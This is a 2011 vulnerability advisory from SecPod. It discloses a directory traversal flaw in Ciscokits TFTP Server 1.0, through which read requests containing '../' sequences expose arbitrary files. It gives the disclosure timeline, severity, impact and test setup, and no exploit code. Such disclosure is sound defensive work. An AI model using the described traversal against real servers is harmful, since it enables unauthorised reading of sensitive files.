SecPod ID: 1022 21/07/2011 Issue Discovered  
03/08/2011 Vendor Notified  
Vendor Replied to Disclose  
04/08/2011 Advisory Released  
  
  
Class: Information Disclosure Severity: Medium  
  
  
Overview:  
---------  
Ciscokits TFTP Server Version 1.0 is prone to a Directory Traversal  
vulnerability.  
  
  
Technical Description:  
----------------------  
The vulnerability is caused due to improper validation to Read Request  
containing '../' sequences, which allows attackers to read arbitrary files  
via directory traversal attacks.  
  
  
Impact:  
--------  
Successful exploitation could allow an attacker to obtain sensitive  
information, which may lead to launching further attacks.  
  
  
Affected Software:  
------------------  
Ciscokits TFTP Server Version 1.0  
  
  
Tested on:  
-----------  
Ciscokits TFTP Server Version 1.0 on Windows XP SP3.
